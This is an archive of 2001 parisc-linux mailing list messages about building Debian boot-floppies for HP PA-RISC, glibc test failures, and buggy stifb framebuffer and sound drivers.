libhtml-tagset-perl
libmime-base64-perl
libnet-perl
liburi-perl
libwww-perl
perl-5.6
pointerize		# local
libttf2
libgd			# pehc/debs
libgd-dev		# pehc/debs
bison
ash
dpkg-awk
flex
python-base
python-dev
python-xml		# pehc/debs
busybox			# pehc/pjl for md5sum fix
bf-utf-source
build-essential
g++-3.0			# pehc/newcompilers
libstdc++3.0-dev	# pehc/newcompilers
g++

## fix libslang links (really necessary?)

cd /usr/lib && rm libslang.so
cd /lib && ln -s libslang.so.1 libslang.so
cd /usr/src


## add some more debs to our local archive.  Old libnewt0 used here..

cd /usr/src/http-tree/dists/woody/main/binary-hppa/base
cp modconf_0.2.32_all.deb modutils_2.4.2-1_hppa.deb  whiptail_0.50.8-2_hppa.deb \
	console-data_1999.08.29-21_all.deb base-passwd_3.2.1_hppa.deb \
	e2fsprogs_1.19-4_hppa.deb libnewt0_0.50.8-2_hppa.deb \
	libpopt0_1.6.2-5_hppa.deb makedev_2.3.1-52_all.deb netbase_4.05_all.deb \
	net-tools_1.60-1_hppa.deb slang1_1.4.4-2_hppa.deb libc6_2.2.1-1_hppa.deb \
	net-tools_1.60-1_hppa.deb util-linux_2.11b-4_hppa.deb /archive/debian/local
ash
nano-tiny
pump
eject
busybox			# pehc/pjl

## and build boot-floppies

cd /usr/src/boot-floppies
dpkg-buildpackage -b -uc 2>&1 | tee LOG

# currently dying in documentation build , but it worked better
# yesterday :(  Anyway, all the important bits are built.

## populate the rest of the http-tree

cd /usr/src/boot-floppies
cp drivers.tgz /usr/src/http-tree/dists/woody/main/disks-hppa/current
cp resc3700.bin /usr/src/http-tree/dists/woody/main/disks-hppa/current/images-1.44


## fix up md5sum and size of Packages file in Release??


## Don't forget to add /sbin/termwrap to root.bin before you
## try to boot from it.



## Outstanding problems:

2nd stage install is _really_ slow - kernel scheduler bug?

When adding a user in the 2nd stage install:

  /var/lib/dpkg/info/base-config.config: adduser: command not found

and

  debconf: DbDriver "configdb" error: /var/cache/debconf/config.dat is \
			locked by another process

followed by the 2nd stage installer starting again at the beginning.
Could be due to me ctrl-c-ing it when I thought it had hung.


Richard





From - Thu Nov 08 21:17:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3 make check status
Date: Tue, 8 May 2001 17:53:31 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010508175331.K4917@parcelfarce.linux.theplanet.co.uk>
References: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk> <matthew@wil.cx> <m14x7qP-001VltC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620106 19217 80.91.229.3 (22 Nov 2014 01:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:06 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 10:53:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4841C482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 May 2001 10:53:58 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14xAjr-0004Kn-00; Tue, 08 May 2001 17:53:31 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <m14x7qP-001VltC@bame.riverrock.org>; from bame@riverrock.org on Tue, May 08, 2001 at 07:48:05AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11010

On Tue, May 08, 2001 at 07:48:05AM -0600, Paul Bame wrote:
> make check for 2.2.1 with the large file changes should only have failed
> some of the fp tests.

Damn.  Then people need to fix these new failures.  I'm working on the
linuxthreads/* and rt/* tests.

> If all the tests fail that's a problem. In 2.2.1 the fp  tests passed except
> the ones where glibc computed something like trig functions, and those tests
> were off in their least-significant bits.

not _all_ the math/* tests fail, I was exaggerating (it just felt
like it!)  there's 4-5 which fail... want to check them out, be sure we
aren't worse than glibc 2.2.1?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3 make check status
Date: Tue, 8 May 2001 20:52:44 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20010508205244.P4917@parcelfarce.linux.theplanet.co.uk>
References: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620107 19220 80.91.229.3 (22 Nov 2014 01:35:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 13:53:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CAAD482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 May 2001 13:52:59 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14xDXI-0007wB-00; Tue, 08 May 2001 20:52:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sat, May 05, 2001 at 03:34:57AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11011

An updated version of the list.  There's plenty of opportunity for people
to help with this.

Floating-point
--------------

 * Some of the math/ tests fail.  pb is looking into these.
 * stdlib/strtold fails.  This is due to our long double being 64 bit and
   glibc thinks its 128 bit.  Bug #119
 * misc/tst-efgcvt fails.  (Maybe another long double problem?)

Threads
-------

 * linuxthreads/ex10, ex15 & ex17 fail.  I'm working on these.
 * rt/tst-aio4 fails.  I'm working on this one too.

Dynamic Loading
---------------

 * all the tests in dlfcn/ fail.  I haven't investigated these.
 * elf/resolvfail and elf/constload1 fail.  Not investigated.  Probably other
   tests in elf/ also fail.

Misc
----

 * grp/testgrp fails.  This is a generic glibc 2.2.3 problem, the fix
   is available from upstream.
 * posix/globtest fails.  Haven't investigated.
 * gmon/tst-sprofil fails.  Looks like it needs to be ported to Linux/hppa.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getting there!
Date: Tue, 8 May 2001 07:36:18 +1000
Lines: 32
Approved: news@gmane.org
Message-ID: <3AF7A1F2.15295.F7E74@localhost>
References: <3AF5710E.722B6AFF@esiee.fr>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620107 19223 80.91.229.3 (22 Nov 2014 01:35:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:07 +0000 (UTC)
To: plaven@ozemail.com.au, puffin@esiee.net,
	parisc-linux <parisc-linux@lists.parisc-linux.org>,
	Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 14:11:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta01.mail.mel.aone.net.au (mta01.mail.au.uu.net [203.2.192.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65DFE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 May 2001 14:11:36 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([210.84.112.20])
          by mta01.mail.mel.aone.net.au with ESMTP
          id <20010508201133.ULJC6842.mta01.mail.mel.aone.net.au@piglet.sspl.net.au>;
          Wed, 9 May 2001 06:11:33 +1000
Original-Received: from winnie.sspl.net.au (winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id HAA31518;
	Tue, 8 May 2001 07:36:18 +1000
Priority: normal
In-reply-to: <3AF5710E.722B6AFF@esiee.fr>
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:11012

Hi Matthieu,


> I currently try to make a lan boot, and I got the same error.
> When I set NFSROOT=x.x.x.x:/path/to/nfs/root
> it resolves the problem.

I'm just bumbling along with all this ATM.  So I'm basically relying 
the the goodwill and good work done by those on the list.

Suffice to say that I have the HP box booting up linux now, just 
required I change my network setup to look more like the one 
expected (configured) in the lifimage.. much less of an issue for me 
than working out how to configure hte lifimage.

Anyway to add to my tale of woe, I grabbed the serial lifimage from 
pehc, and with that I configured the HP box to use the esrial port 
for my console.. much to my dismay I have now found that the 
cable I have doesn't fit all the way into the serial port on the hp 
box.. so I can't see ANY thing.. so until I get a serial cable that fits 
fully into the port.. I'm stuck... :-/

Thanks to grant, willy and a few others in irc the other night too... 
I'm grateful for you guys answering dumb questions when there are 
other more important things to sort out.  :)


Pete.





From - Thu Nov 08 21:17:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] framebuffer drivers, sound
Date: Wed, 09 May 2001 00:53:31 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <3AF878EA.3F043FD7@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620107 19225 80.91.229.3 (22 Nov 2014 01:35:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 16:53:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD900140D.dip.t-dialin.net [217.0.20.13])
	by dsl2.external.hp.com (Postfix) with SMTP id E2D95482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 May 2001 16:53:42 -0600 (MDT)
Original-Received: (qmail 13662 invoked from network); 8 May 2001 22:53:31 -0000
Original-Received: from tentakel.fischlustig.de (HELO fischlustig.de) (@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 8 May 2001 22:53:31 -0000
Original-Sender: andi@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:11013

Hi,

I tried out the latest kernel and debian packages on my 712/60, and its
running
now for three days without crash, you really made amazing progress
the last few month!

The stifb driver is working for me, but the colors are completely wrong
and the
system crashes if i try to cat /dev/fb0.

I wonder if HP will release specs, we could write framebuffer drivers
that talk
directly to the gfx card, allow mode switching and (is it possible?) set
a linear
mode instead of a planed mode.

The harmony driver does not work for me, if I try to play sound, I get
silence
and then after a few seconds a stange noise, then silence, then strange
noise
and so on.

anyway, keep up the good work!


Andreas








From - Thu Nov 08 21:17:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Wed, 9 May 2001 00:41:36 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010509004136.R4917@parcelfarce.linux.theplanet.co.uk>
References: <3AF878EA.3F043FD7@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620108 19229 80.91.229.3 (22 Nov 2014 01:35:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andi <andi@fischlustig.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 17:41:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E41B482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 May 2001 17:41:57 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14xH6m-0004Sd-00; Wed, 09 May 2001 00:41:36 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3AF878EA.3F043FD7@fischlustig.de>; from andi@fischlustig.de on Wed, May 09, 2001 at 12:53:31AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11014

On Wed, May 09, 2001 at 12:53:31AM +0200, Andi wrote:
> The stifb driver is working for me, but the colors are completely wrong
> and the
> system crashes if i try to cat /dev/fb0.

Yup, the stifb is buggy.  Please, if you have time, it would be great
if you could help clean it up and get it working.  sticon works rather
better but it is still not great.  The STI docs are publically available
from the documentation page.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Wed, 09 May 2001 02:00:12 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <3AF8888C.A8AB2BC9@fischlustig.de>
References: <3AF878EA.3F043FD7@fischlustig.de> <20010509004136.R4917@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620108 19231 80.91.229.3 (22 Nov 2014 01:35:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 18:00:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD900140D.dip.t-dialin.net [217.0.20.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 20870482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 May 2001 18:00:23 -0600 (MDT)
Original-Received: (qmail 3233 invoked from network); 9 May 2001 00:00:12 -0000
Original-Received: from tentakel.fischlustig.de (HELO fischlustig.de) (@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 9 May 2001 00:00:12 -0000
Original-Sender: andi@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:11015

Matthew Wilcox wrote:

> On Wed, May 09, 2001 at 12:53:31AM +0200, Andi wrote:
> > The stifb driver is working for me, but the colors are completely wrong
> > and the
> > system crashes if i try to cat /dev/fb0.
>
> Yup, the stifb is buggy.  Please, if you have time, it would be great
> if you could help clean it up and get it working.

I hope that I will find the time, but I cant promise anything.

> sticon works rather
> better but it is still not great.

well, sticon has correct colors, but works worse than stifb
(swiching a vt does not redraw the whole screen,
dselect is not usable ...)

> The STI docs are publically available
> from the documentation page.

Yeah, the STI docs.... HP should release the hardware level
docs, this is the only way to implement a full featured fbdev
driver. A stifb would still be usefull since it is works for
every HP gfxcard with STI BIOS, but a special driver for each
gfxcard would be nice to have things like mode switching.

Andreas - "I want color recovery!!!" ;-)







From - Thu Nov 08 21:17:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Wed, 9 May 2001 01:02:44 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010509010244.S4917@parcelfarce.linux.theplanet.co.uk>
References: <3AF878EA.3F043FD7@fischlustig.de> <20010509004136.R4917@parcelfarce.linux.theplanet.co.uk> <3AF8888C.A8AB2BC9@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620108 19235 80.91.229.3 (22 Nov 2014 01:35:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:08 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Andi <andi@fischlustig.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 18:03:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C26EF482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 May 2001 18:03:00 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14xHRE-0004rQ-00; Wed, 09 May 2001 01:02:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3AF8888C.A8AB2BC9@fischlustig.de>; from andi@fischlustig.de on Wed, May 09, 2001 at 02:00:12AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11016

On Wed, May 09, 2001 at 02:00:12AM +0200, Andi wrote:
> Yeah, the STI docs.... HP should release the hardware level
> docs, this is the only way to implement a full featured fbdev
> driver. A stifb would still be usefull since it is works for

yeah, but right now we're all too busy working on important things
(eg SMP, glibc, etc) to spend time looking for or sanitising this
documentation.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Wed, 9 May 2001 09:03:20 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0105090859500.29141-100000@mojo.calyx.net>
References: <20010509010244.S4917@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620109 19239 80.91.229.3 (22 Nov 2014 01:35:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:09 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  9 07:03:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.net [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id BB684482A
	for <parisc-linux@parisc-linux.org>; Wed,  9 May 2001 07:03:35 -0600 (MDT)
Original-Received: (qmail 21286 invoked from network); 9 May 2001 09:03:29 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (l703if4h9eptbdtyfgwy@208.132.136.2)
  by mail.calyx.net with SMTP; 9 May 2001 09:03:29 -0400
In-Reply-To: <20010509010244.S4917@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11017

As long as it gets released eventually -- my guess is X isn't going
to be all that fast on a planar FB where you can only write
one planemask at a time and must use a BIOS call to switch
the planemask. :-)

--
Brian S. Julin

On Wed, 9 May 2001, Matthew Wilcox wrote:

> On Wed, May 09, 2001 at 02:00:12AM +0200, Andi wrote:
> > Yeah, the STI docs.... HP should release the hardware level
> > docs, this is the only way to implement a full featured fbdev
> > driver. A stifb would still be usefull since it is works for
>
> yeah, but right now we're all too busy working on important things
> (eg SMP, glibc, etc) to spend time looking for or sanitising this
> documentation.
>
> --
> Revolutions do not require corporate support.
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>






From - Thu Nov 08 21:17:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot-floppies (installer)
Date: Wed, 9 May 2001 14:26:11 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010509142611.W1840@linuxcare.com>
References: <20010508075325.O1840@linuxcare.com> <20010508153029.R1840@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620109 19242 80.91.229.3 (22 Nov 2014 01:35:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  9 07:26:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc171-bre9.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1111F482A
	for <parisc-linux@parisc-linux.org>; Wed,  9 May 2001 07:26:47 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 8FA4BB007; Wed,  9 May 2001 14:26:11 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010508153029.R1840@linuxcare.com>; from rhirst@linuxcare.com on Tue, May 08, 2001 at 03:30:29PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11018

On Tue, May 08, 2001 at 03:30:29PM +0100, Richard Hirst wrote:
> ## Don't forget to add /sbin/termwrap to root.bin before you
> ## try to boot from it.

Doh!  termwrap needs adding to the installed system, after install stage
1, but before booting from the disk to run stage 2.

Richard





From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Wed, 9 May 2001 22:18:33 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20010509201918.22252482A@dsl2.external.hp.com>
References: <3AF878EA.3F043FD7@fischlustig.de> <20010509004136.R4917@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620109 19244 80.91.229.3 (22 Nov 2014 01:35:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andi <andi@fischlustig.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  9 14:19:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 22252482A
	for <parisc-linux@parisc-linux.org>; Wed,  9 May 2001 14:19:18 -0600 (MDT)
Original-Received: (qmail 2217 invoked by uid 0); 9 May 2001 20:19:12 -0000
Original-Received: from pd904021c.dip.t-dialin.net (HELO there) (217.4.2.28)
  by mail.gmx.net (mail08) with SMTP; 9 May 2001 20:19:12 -0000
X-Mailer: KMail [version 1.2.2]
In-Reply-To: <20010509004136.R4917@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11019

Hi,

I had hacked up a stifb driver for my 715/64 (Artist GFX card) a few weeks 
ago, which will give you at least correct colors. If you want to test it you 
may download the current (unfinished and ugly!) version from
ftp://people.redhat.com/hdeller/parisc_stifb ,
put both files in /drivers/video/sti and recompile.
This version is based on the XFree86-sources and doesn't fix the cat/dev/fb0 
problem yet.

Greetings,
Helge

On Wednesday 09 May 2001 01:41, Matthew Wilcox wrote:
> On Wed, May 09, 2001 at 12:53:31AM +0200, Andi wrote:
> > The stifb driver is working for me, but the colors are completely wrong
> > and the
> > system crashes if i try to cat /dev/fb0.
>
> Yup, the stifb is buggy.  Please, if you have time, it would be great
> if you could help clean it up and get it working.  sticon works rather
> better but it is still not great.  The STI docs are publically available
>
> >from the documentation page.




From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Wed, 09 May 2001 23:43:17 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3AF9B9F5.AC56BF11@fischlustig.de>
References: <3AF878EA.3F043FD7@fischlustig.de> <20010509004136.R4917@parcelfarce.linux.theplanet.co.uk> <20010509201918.22252482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620110 19247 80.91.229.3 (22 Nov 2014 01:35:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  9 15:43:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD900114C.dip.t-dialin.net [217.0.17.76])
	by dsl2.external.hp.com (Postfix) with SMTP id 45908482A
	for <parisc-linux@parisc-linux.org>; Wed,  9 May 2001 15:43:35 -0600 (MDT)
Original-Received: (qmail 24174 invoked from network); 9 May 2001 21:43:18 -0000
Original-Received: from tentakel.fischlustig.de (HELO fischlustig.de) (@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 9 May 2001 21:43:18 -0000
Original-Sender: andi@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:11020

Helge Deller wrote:

> Hi,
>
> I had hacked up a stifb driver for my 715/64 (Artist GFX card) a few weeks
> ago, which will give you at least correct colors. If you want to test it you
> may download the current (unfinished and ugly!) version from
> ftp://people.redhat.com/hdeller/parisc_stifb ,

it works for me. colors are nice again. Why isnt your patch merged in?

I added
disp->scrollmode = SCROLL_YREDRAW;
at the end of sti_set_disp() in stifb.c

this makes scrolling A LOT faster.


Andreas








From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Thu, 10 May 2001 00:07:36 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20010509220814.A5D39482A@dsl2.external.hp.com>
References: <3AF878EA.3F043FD7@fischlustig.de> <20010509201918.22252482A@dsl2.external.hp.com> <3AF9B9F5.AC56BF11@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
